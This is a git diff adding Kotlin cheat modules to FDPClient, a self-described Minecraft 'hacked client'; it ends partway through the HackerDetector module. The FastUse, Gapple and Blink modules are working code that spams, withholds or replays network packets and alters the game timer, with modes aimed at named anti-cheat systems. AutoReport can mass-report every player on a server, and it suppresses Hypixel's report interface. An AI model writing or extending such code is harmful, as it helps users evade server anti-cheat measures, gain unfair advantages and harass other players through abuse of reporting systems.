a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/AutoPlace.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/AutoPlace.kt new file mode 100644 index 0000000..17354ed --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/AutoPlace.kt @@ -0,0 +1,72 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.player + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.utils.MouseUtils +import net.minecraft.block.BlockLiquid +import net.minecraft.init.Blocks +import net.minecraft.item.ItemBlock +import net.minecraft.util.BlockPos +import net.minecraft.util.EnumFacing +import net.minecraft.util.MovingObjectPosition +import net.minecraft.util.MovingObjectPosition.MovingObjectType +import org.lwjgl.input.Mouse + + +@ModuleInfo(name = "AutoPlace", category = ModuleCategory.PLAYER) +object AutoPlace : Module() { + + private val dl = FloatValue("Delay", 0F, 0F, 10F) + private val md = BoolValue("MouseDown", false) + private var l = 0L + private var f = 0 + private var lm: MovingObjectPosition? = null + private var lp: BlockPos? = null + + @EventTarget + fun onRender(event: Render3DEvent) { + if (mc.currentScreen == null && !mc.thePlayer.capabilities.isFlying) { + val i = mc.thePlayer.heldItem + if (i != null && i.item is ItemBlock) { + val m = mc.objectMouseOver + if (m != null && m.typeOfHit == MovingObjectType.BLOCK && (m.sideHit != EnumFacing.UP && m.sideHit != EnumFacing.DOWN) || (m.sideHit == EnumFacing.NORTH || m.sideHit == EnumFacing.EAST || m.sideHit == EnumFacing.SOUTH || m.sideHit == EnumFacing.WEST)) { + if (this.lm != null && this.f.toDouble() < dl.get()) { + ++this.f + } else { + this.lm = m + val pos = m.blockPos + if (this.lp == null || pos.x != lp!!.x || pos.y != lp!!.y || pos.z != lp!!.z) { + val b = mc.theWorld.getBlockState(pos).block + if (b != null && b !== Blocks.air && b !is BlockLiquid) { + if (!md.get() || Mouse.isButtonDown(1)) { + val n = System.currentTimeMillis() + if (n - this.l >= 25L) { + this.l = n + if (mc.playerController.onPlayerRightClick(mc.thePlayer, mc.theWorld, i, pos, m.sideHit, m.hitVec)) { + MouseUtils.setMouseButtonState(1, true) + mc.thePlayer.swingItem() + mc.itemRenderer.resetEquippedProgress() + MouseUtils.setMouseButtonState(1, false) + this.lp = pos + this.f = 0 + } + } + } + } + } + } + } + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/AutoReport.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/AutoReport.kt new file mode 100644 index 0000000..01037d8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/AutoReport.kt @@ -0,0 +1,117 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.player + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.other.AntiBot +import net.ccbluex.liquidbounce.features.module.modules.other.Teams +import net.ccbluex.liquidbounce.utils.EntityUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.features.value.TextValue +import net.minecraft.entity.Entity +import net.minecraft.entity.player.EntityPlayer +import net.minecraft.network.play.server.S3FPacketCustomPayload + +@ModuleInfo(name = "AutoReport", category = ModuleCategory.PLAYER) +object AutoReport : Module() { + + private val modeValue = ListValue("Mode", arrayOf("Hit", "All"), "Hit") + private val commandValue = TextValue("Command", "/reportar %name%") + private val tipValue = BoolValue("Tip", true) + private val allDelayValue = IntegerValue("AllDelay", 500, 0, 1000) + private val blockBooksValue = BoolValue("BlockBooks", false) // 绕过Hypixel /report举报弹出书 + + private val reported = mutableListOf<String>() + private val delayTimer = MSTimer() + + override fun onEnable() { + reported.clear() + } + + @EventTarget + fun onAttack(event: AttackEvent) { + val entity = event.targetEntity + if (isTarget(entity)) { + doReport(entity as EntityPlayer) + } + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (modeValue.equals("All") && delayTimer.hasTimePassed(allDelayValue.get().toLong())) { + mc.netHandler.playerInfoMap.forEach { + val name = it.gameProfile.name + if(name != mc.session.username && !EntityUtils.isFriend(name)) { + if (doReport(name) && allDelayValue.get() != 0) { + return@forEach + } + } + } + delayTimer.reset() + } + } + + @EventTarget + fun onPacket(event: PacketEvent) { + if (blockBooksValue.get() && event.packet is S3FPacketCustomPayload) { + event.cancelEvent() + } + } + + fun doReport(player: EntityPlayer) = doReport(player.name) + + private fun doReport(name: String): Boolean { + // pass this if reported + if (reported.contains(name)) { + return false + } + + reported.add(name) + mc.thePlayer.sendChatMessage(commandValue.get().replace("%name%", name)) + if (tipValue.get()) { + alert("$name reported!") + } + return true + } + + private fun isTarget(entity: Entity): Boolean { + if (entity is EntityPlayer) { + if (entity == mc.thePlayer) { + return false + } + + if (AntiBot.isBot(entity)) { + return false + } + + if (EntityUtils.isFriend(entity)) { + return false + } + + if (entity.isSpectator) { + return false + } + + val teams = FDPClient.moduleManager[Teams::class.java]!! + return !teams.state || !teams.isInYourTeam(entity) + } + + return false + } + + override val tag: String + get() = modeValue.get() +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/Blink.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/Blink.kt new file mode 100644 index 0000000..9d0e371 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/Blink.kt @@ -0,0 +1,149 @@ +package net.ccbluex.liquidbounce.features.module.modules.player + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.visual.Breadcrumbs +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.minecraft.client.entity.EntityOtherPlayerMP +import net.minecraft.network.Packet +import net.minecraft.network.play.client.* +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition +import net.minecraft.network.play.client.C03PacketPlayer.C06PacketPlayerPosLook +import net.minecraft.util.Vec3 +import org.lwjgl.opengl.GL11 +import java.util.* +import java.util.concurrent.LinkedBlockingQueue + +@ModuleInfo(name = "Blink", category = ModuleCategory.PLAYER) +class Blink : Module() { + private val pulseValue = BoolValue("Pulse", true) + private val packets = LinkedBlockingQueue<Packet<*>>() + private val positions = LinkedList<Vec3>() + private val c0FValue = BoolValue("C0FCancel", false) + private val pulseDelayValue = IntegerValue("PulseDelay", 400, 10, 5000, "ms") { pulseValue.get() } + private val pulseTimer = MSTimer() + private var fakePlayer: EntityOtherPlayerMP? = null + private var disableLogger = false + + override fun onEnable() { + if (mc.thePlayer == null) return + fakePlayer = EntityOtherPlayerMP(mc.theWorld, mc.thePlayer.gameProfile) + fakePlayer!!.clonePlayer(mc.thePlayer, true) + fakePlayer!!.copyLocationAndAnglesFrom(mc.thePlayer) + fakePlayer!!.rotationYawHead = mc.thePlayer.rotationYawHead + mc.theWorld.addEntityToWorld(-1337, fakePlayer) + synchronized(positions) { + positions.add( + Vec3( + mc.thePlayer.posX, + mc.thePlayer.entityBoundingBox.minY + mc.thePlayer.getEyeHeight() / 2, + mc.thePlayer.posZ + ) + ) + positions.add(Vec3(mc.thePlayer.posX, mc.thePlayer.entityBoundingBox.minY, mc.thePlayer.posZ)) + } + pulseTimer.reset() + } + + override fun onDisable() { + if (mc.thePlayer == null) return + blink() + if (fakePlayer != null) { + mc.theWorld.removeEntityFromWorld(fakePlayer!!.entityId) + fakePlayer = null + } + } + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + if (mc.thePlayer == null || disableLogger) return + if (packet is C03PacketPlayer) + event.cancelEvent() + if (packet is C04PacketPlayerPosition || packet is C06PacketPlayerPosLook || + packet is C08PacketPlayerBlockPlacement || + packet is C0APacketAnimation || + packet is C0BPacketEntityAction || packet is C02PacketUseEntity || c0FValue.get() && packet is C0FPacketConfirmTransaction + ) { + event.cancelEvent() + packets.add(packet) + } + } + + @EventTarget + fun onUpdate(event: UpdateEvent?) { + synchronized(positions) { + positions.add( + Vec3( + mc.thePlayer.posX, + mc.thePlayer.entityBoundingBox.minY, + mc.thePlayer.posZ + ) + ) + } + if (pulseValue.get() && pulseTimer.hasTimePassed(pulseDelayValue.get().toLong())) { + fakePlayer = EntityOtherPlayerMP(mc.theWorld, mc.thePlayer.gameProfile) + fakePlayer!!.clonePlayer(mc.thePlayer, true) + fakePlayer!!.copyLocationAndAnglesFrom(mc.thePlayer) + fakePlayer!!.rotationYawHead = mc.thePlayer.rotationYawHead + mc.theWorld.addEntityToWorld(-1337, fakePlayer) + blink() + pulseTimer.reset() + } + } + + @EventTarget + fun onRender3D(event: Render3DEvent?) { + val breadcrumbs = FDPClient.moduleManager[Breadcrumbs::class.java]!! + synchronized(positions) { + GL11.glPushMatrix() + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + GL11.glEnable(GL11.GL_LINE_SMOOTH) + GL11.glEnable(GL11.GL_BLEND) + GL11.glDisable(GL11.GL_DEPTH_TEST) + mc.entityRenderer.disableLightmap() + GL11.glBegin(GL11.GL_LINE_STRIP) + RenderUtils.glColor(breadcrumbs.color) + val renderPosX = mc.renderManager.viewerPosX + val renderPosY = mc.renderManager.viewerPosY + val renderPosZ = mc.renderManager.viewerPosZ + for (pos in positions) { + GL11.glVertex3d(pos.xCoord - renderPosX, pos.yCoord - renderPosY, pos.zCoord - renderPosZ) + } + GL11.glColor4d(1.0, 1.0, 1.0, 1.0) + GL11.glEnd() + GL11.glEnable(GL11.GL_DEPTH_TEST) + GL11.glDisable(GL11.GL_LINE_SMOOTH) + GL11.glDisable(GL11.GL_BLEND) + GL11.glEnable(GL11.GL_TEXTURE_2D) + GL11.glPopMatrix() + } + } + + override val tag: String + get() = packets.size.toString() + + private fun blink() { + try { + disableLogger = true + while (!packets.isEmpty()) { + mc.netHandler.networkManager.sendPacket(packets.take()) + } + disableLogger = false + } catch (e: Exception) { + e.printStackTrace() + disableLogger = false + } + synchronized(positions) { positions.clear() } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/Eagle.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/Eagle.kt new file mode 100644 index 0000000..66a3c50 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/Eagle.kt @@ -0,0 +1,58 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.player + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.minecraft.client.settings.GameSettings +import net.minecraft.init.Blocks +import net.minecraft.util.BlockPos +import net.ccbluex.liquidbounce.utils.timer.MSTimer + +@ModuleInfo(name = "Eagle", category = ModuleCategory.PLAYER) +object Eagle : Module() { + + private val motionPredictValue = FloatValue("MotionPredictAmount", 0.2f, 0.0f, 2.0f) + private val limitTimeValue = BoolValue("SneakTimeLimit", false) + private val holdTime = IntegerValue("MaxSneakTime", 120, 0, 900).displayable{ limitTimeValue.get() } + private val onlyGround = BoolValue("OnlyGround", true) + private val onlyLookingDown = BoolValue("OnlyLookingDown", true) + private val onlyMovingBack = BoolValue("OnlyMovingBack", true) + + private val holdTimer = MSTimer() + + private var sneakValue = false + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (!limitTimeValue.get()) { + sneakValue = false + } + if ( ( !onlyGround.get() || mc.thePlayer.onGround ) && ( !onlyLookingDown.get() || mc.thePlayer.rotationPitch.toDouble() > 65.0 ) && ( !onlyMovingBack.get() || mc.gameSettings.keyBindBack.pressed ) && + mc.theWorld.getBlockState(BlockPos(mc.thePlayer.posX + mc.thePlayer.motionX.toDouble() * motionPredictValue.get().toDouble(), mc.thePlayer.posY - 1.0, mc.thePlayer.posZ + mc.thePlayer.motionZ.toDouble() * motionPredictValue.get().toDouble())).block == Blocks.air) { + sneakValue = true + holdTimer.reset() + } else if (holdTimer.hasTimePassed(holdTime.get().toLong()) && limitTimeValue.get()) { + sneakValue = false + } + mc.gameSettings.keyBindSneak.pressed = (GameSettings.isKeyDown(mc.gameSettings.keyBindSneak) || sneakValue) + } + + override fun onEnable() { + sneakValue = GameSettings.isKeyDown(mc.gameSettings.keyBindSneak) + holdTimer.reset() + } + + override fun onDisable() { + mc.gameSettings.keyBindSneak.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindSneak) + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/FastUse.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/FastUse.kt new file mode 100644 index 0000000..b3da9da --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/FastUse.kt @@ -0,0 +1,189 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.player + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.minecraft.item.ItemBucketMilk +import net.minecraft.item.ItemFood +import net.minecraft.item.ItemPotion +import net.minecraft.network.play.client.C03PacketPlayer + +@ModuleInfo(name = "FastUse", category = ModuleCategory.PLAYER) +object FastUse : Module() { + + private val modeValue = ListValue("Mode", arrayOf("NCP","Instant", "Timer", "CustomDelay", "DelayedInstant", "MinemoraTest", "AAC", "NewAAC","Medusa","Matrix","Fast"), "DelayedInstant") + private val timerValue = FloatValue("Timer", 1.22F, 0.1F, 2.0F).displayable { modeValue.equals("Timer") } + private val durationValue = IntegerValue("InstantDelay", 14, 0, 35).displayable { modeValue.equals("DelayedInstant") } + private val delayValue = IntegerValue("CustomDelay", 0, 0, 300).displayable { modeValue.equals("CustomDelay") } + private val viaFixValue = BoolValue("ViaVersion", false) + + private val msTimer = MSTimer() + private var usedTimer = false + private var sentPacket = false + private var lastState = false + + private fun send(int: Int) { + repeat(int) { + mc.netHandler.addToSendQueue(C03PacketPlayer(mc.thePlayer.onGround)) + } + } + + private fun send() { + mc.netHandler.addToSendQueue(C03PacketPlayer(mc.thePlayer.onGround)) + } + + private fun stopUsing() { + if (viaFixValue.get()) { + sentPacket = true + if (mc.thePlayer.itemInUseCount < 10) { + mc.thePlayer.itemInUseCount = 20 + } + } else { + sentPacket = false + mc.playerController.onStoppedUsingItem(mc.thePlayer) + } + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (usedTimer) { + mc.timer.timerSpeed = 1F + usedTimer = false + } + + if (!mc.thePlayer.isUsingItem) { + sentPacket = false + lastState = mc.thePlayer.isUsingItem + return + } else if(!lastState) { + sentPacket = false + } + + lastState = mc.thePlayer.isUsingItem + + if (viaFixValue.get() && sentPacket) { + if (mc.thePlayer.itemInUseCount < 10) { + mc.thePlayer.itemInUseCount = 20 + } + return + } + + val usingItem = mc.thePlayer.itemInUse.item + + if (usingItem is ItemFood || usingItem is ItemBucketMilk || usingItem is ItemPotion) { + when (modeValue.get().lowercase()) { + "matrix" -> { + mc.timer.timerSpeed = 0.5f + usedTimer = true + send() + } + "fast" -> { + if (mc.thePlayer.itemInUseDuration < 25) { + mc.timer.timerSpeed = 0.3f + usedTimer = true + send(5) + } + } + + "medusa" -> { + if (mc.thePlayer.itemInUseDuration > 5 || !msTimer.hasTimePassed(360L)) + return + + send(20) + + msTimer.reset() + } + "delayedinstant" -> if (mc.thePlayer.itemInUseDuration > durationValue.get()) { + send(35 - mc.thePlayer.itemInUseDuration) + + stopUsing() + } + + "ncp" -> if (mc.thePlayer.itemInUseDuration > 14) { + send(20) + + stopUsing() + } + + "instant" -> { + send(35) + + stopUsing() + } + "aac" -> { + mc.timer.timerSpeed = 0.49F + usedTimer = true + if (mc.thePlayer.itemInUseDuration > 14) { + send(23) + } + } + "newaac" -> { + mc.timer.timerSpeed = 0.49F + usedTimer = true + send(2) + } + "timer" -> { + mc.timer.timerSpeed = timerValue.get() + usedTimer = true + } + + "minemoratest" -> { + mc.timer.timerSpeed = 0.5F + usedTimer = true + if (mc.thePlayer.ticksExisted % 2 == 0) { + send(2) + } + } + + "customdelay" -> { + if (!msTimer.hasTimePassed(delayValue.get().toLong())) { + return + } + + send() + msTimer.reset() + } + } + if (mc.thePlayer.itemInUseDuration >= 30 && viaFixValue.get()) { + sentPacket = true + if (mc.thePlayer.itemInUseCount < 10) { + mc.thePlayer.itemInUseCount = 20 + } + } + } + } + + // @EventTarget + // fun onMove(event: MoveEvent?) { + // if (event == null) return + + // if (!mc.thePlayer.isUsingItem || !modeValue.get().lowercase()=="aac") return + // val usingItem1 = mc.thePlayer.itemInUse.item + // if ((usingItem1 is ItemFood || usingItem1 is ItemBucketMilk || usingItem1 is ItemPotion)) + // event.zero() + // } + + override fun onDisable() { + if (usedTimer) { + mc.timer.timerSpeed = 1F + usedTimer = false + } + sentPacket = false + lastState = mc.thePlayer.isUsingItem + } + + override val tag: String + get() = modeValue.get() +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/Gapple.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/Gapple.kt new file mode 100644 index 0000000..647b54f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/Gapple.kt @@ -0,0 +1,186 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.player + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.InventoryUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.client.gui.inventory.GuiContainer +import net.minecraft.init.Items +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement +import net.minecraft.network.play.client.C09PacketHeldItemChange +import net.minecraft.network.play.server.S09PacketHeldItemChange +import net.minecraft.potion.Potion +import net.minecraft.util.MathHelper +import java.util.* + +@ModuleInfo(name = "Gapple", category = ModuleCategory.PLAYER) +object Gapple : Module() { + + private val modeValue = ListValue("Mode", arrayOf("Auto", "LegitAuto", "Legit", "Head"), "Auto") + private val percent = FloatValue("HealthPercent", 75.0f, 1.0f, 100.0f) + private val min = IntegerValue("MinDelay", 75, 1, 5000) + private val max = IntegerValue("MaxDelay", 125, 1, 5000) + private val regenSec = FloatValue("MinRegenSec", 4.6f, 0.0f, 10.0f) + private val groundCheck = BoolValue("OnlyOnGround", false) + private val waitRegen = BoolValue("WaitRegen", true) + private val invCheck = BoolValue("InvCheck", false) + private val absorpCheck = BoolValue("NoAbsorption", true) + private val fastEatValue = BoolValue("FastEat", false).displayable { modeValue.equals("LegitAuto") || modeValue.equals("Legit") } + private val eatDelayValue = IntegerValue("FastEatDelay", 14, 0, 35).displayable { fastEatValue.get() } + val timer = MSTimer() + private var eating = -1 + var delay = 0 + var isDisable = false + var tryHeal = false + var prevSlot = -1 + var switchBack = false + override fun onEnable() { + eating = -1 + prevSlot = -1 + switchBack = false + timer.reset() + isDisable = false + tryHeal = false + delay = MathHelper.getRandomIntegerInRange(Random(), min.get(), max.get()) + } + + @EventTarget + fun onWorld(event: WorldEvent) { + isDisable = true + tryHeal = false + } + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + if (eating != -1 && packet is C03PacketPlayer) { + eating++ + } else if (packet is S09PacketHeldItemChange || packet is C09PacketHeldItemChange) { + eating = -1 + } + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (tryHeal) { + when (modeValue.get().lowercase()) { + "auto" -> { + val gappleInHotbar = InventoryUtils.findItem(36, 45, Items.golden_apple) + if (gappleInHotbar != -1) { + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(gappleInHotbar - 36)) + mc.netHandler.addToSendQueue(C08PacketPlayerBlockPlacement(mc.thePlayer.heldItem)) + repeat(35) { + mc.netHandler.addToSendQueue(C03PacketPlayer(mc.thePlayer.onGround)) + } + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem)) + alert("Gapple eaten") + tryHeal = false + timer.reset() + delay = MathHelper.getRandomIntegerInRange(Random(), min.get(), max.get()) + }else { + tryHeal = false + } + } + "legitauto" -> { + if (eating == -1) { + val gappleInHotbar = InventoryUtils.findItem(36, 45, Items.golden_apple) + if(gappleInHotbar == -1) { + tryHeal = false + return + } + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(gappleInHotbar - 36)) + mc.netHandler.addToSendQueue(C08PacketPlayerBlockPlacement(mc.thePlayer.heldItem)) + eating = 0 + } else if (eating > 35 || (fastEatValue.get() && eating > eatDelayValue.get())) { + repeat(35 - eating) { + mc.netHandler.addToSendQueue(C03PacketPlayer(mc.thePlayer.onGround)) + } + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem)) + timer.reset() + tryHeal = false + delay = MathHelper.getRandomIntegerInRange(Random(), min.get(), max.get()) + } + } + "legit" -> { + if (eating == -1) { + val gappleInHotbar = InventoryUtils.findItem(36, 45, Items.golden_apple) + if(gappleInHotbar == -1) { + tryHeal = false + return + } + if (prevSlot == -1) + prevSlot = mc.thePlayer.inventory.currentItem + + mc.thePlayer.inventory.currentItem = gappleInHotbar - 36 + mc.netHandler.addToSendQueue(C08PacketPlayerBlockPlacement(mc.thePlayer.heldItem)) + eating = 0 + } else if (eating > 35 || (fastEatValue.get() && eating > eatDelayValue.get())) { + repeat(35 - eating) { + mc.netHandler.addToSendQueue(C03PacketPlayer(mc.thePlayer.onGround)) + } + timer.reset() + tryHeal = false + delay = MathHelper.getRandomIntegerInRange(Random(), min.get(), max.get()) + } + } + "head" -> { + val headInHotbar = InventoryUtils.findItem(36, 45, Items.skull) + if (headInHotbar != -1) { + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(headInHotbar - 36)) + mc.netHandler.addToSendQueue(C08PacketPlayerBlockPlacement(mc.thePlayer.heldItem)) + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem)) + timer.reset() + tryHeal = false + delay = MathHelper.getRandomIntegerInRange(Random(), min.get(), max.get()) + }else { + tryHeal = false + } + } + } + } + if (mc.thePlayer.ticksExisted <= 10 && isDisable) { + isDisable = false + } + val absorp = MathHelper.ceiling_double_int(mc.thePlayer.absorptionAmount.toDouble()) + + + if (!tryHeal && prevSlot != -1) { + if (!switchBack) { + switchBack = true + return + } + mc.thePlayer.inventory.currentItem = prevSlot + eating = -1 + prevSlot = -1 + switchBack = false + } + + if ((groundCheck.get() && !mc.thePlayer.onGround) || (invCheck.get() && mc.currentScreen is GuiContainer) || (absorp > 0 && absorpCheck.get())) + return + if (waitRegen.get() && mc.thePlayer.isPotionActive(Potion.regeneration) && mc.thePlayer.getActivePotionEffect(Potion.regeneration).duration > regenSec.get() * 20.0f) + return + if (!isDisable && (mc.thePlayer.health <= (percent.get() / 100.0f) * mc.thePlayer.maxHealth) && timer.hasTimePassed(delay.toLong())) { + if (tryHeal) + return + tryHeal = true + } + } + + override val tag: String + get() = modeValue.get() +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/HackerDetector.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/HackerDetector.kt new file mode 100644 index 0000000..ab4143c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/HackerDetector.kt @@ -0,0 +1,387 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.player + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import net.ccbluex.liquidbounce.utils.EntityUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.minecraft.client.Minecraft +import net.minecraft.entity.Entity +import net.minecraft.entity.EntityLivingBase +import net.minecraft.entity.player.EntityPlayer +import net.minecraft.network.play.server.S0BPacketAnimation +import net.minecraft.network.play.server.S14PacketEntity +import net.minecraft.network.play.server.S18PacketEntityTeleport +import net.minecraft.network.play.server.S19PacketEntityStatus +import net.minecraft.potion.Potion +import net.minecraft.util.AxisAlignedBB +import kotlin.math.* + +@ModuleInfo(name = "HackerDetector", category = ModuleCategory.PLAYER) +object HackerDetector : Module() { + + private val combatCheckValue = BoolValue("Combat", true) + private val movementCheckValue = BoolValue("Movement", true) + private val debugModeValue = BoolValue("Debug", false) + private val notifyValue = BoolValue("Notify", true) + private val reportValue = BoolValue("AutoReport", true) + private val vlValue = IntegerValue("VL", 300, 100, 500) + + private val hackerDataMap = HashMap<EntityPlayer, HackerData>() + private val hackers = ArrayList<String>() + + @EventTarget + fun onUpdate(event: UpdateEvent) { + Thread { doGC() }.start() + } + + private fun doGC() { + val needRemove = ArrayList<EntityPlayer>() + for ((player, _) in hackerDataMap) { + if (player.isDead) { + needRemove.add(player) + } + } + for (player in needRemove) { + hackerDataMap.remove(player) + if (debugModeValue.get()) { + alert("[GC] REMOVE ${player.name}") + } + } + } + + @EventTarget + fun onPacket(event: PacketEvent) { + if (event.packet is S19PacketEntityStatus) { + val packet = event.packet + if (combatCheckValue.get() && packet.opCode.toInt() == 2) { + Thread { checkCombatHurt(packet.getEntity(mc.theWorld)) }.start() + } + } else if (event.packet is S0BPacketAnimation) { + val packet = event.packet + val entity = mc.theWorld.getEntityByID(packet.entityID) + if (entity !is EntityPlayer || packet.animationType != 0) return + val data = hackerDataMap[entity] ?: return + data.tempAps++ + } else if (movementCheckValue.get()) { + if (event.packet is S18PacketEntityTeleport) { + val packet = event.packet + val entity = mc.theWorld.getEntityByID(packet.entityId) + if (entity !is EntityPlayer) return + Thread { checkPlayer(entity) }.start() + } else if (event.packet is S14PacketEntity) { + val packet = event.packet + val entity = packet.getEntity(mc.theWorld) + if (entity !is EntityPlayer) return + Thread { checkPlayer(entity) }.start() + } + } + } + + override fun onEnable() { + hackerDataMap.clear() + hackers.clear() + } + + @EventTarget + fun onWorld(event: WorldEvent) { + 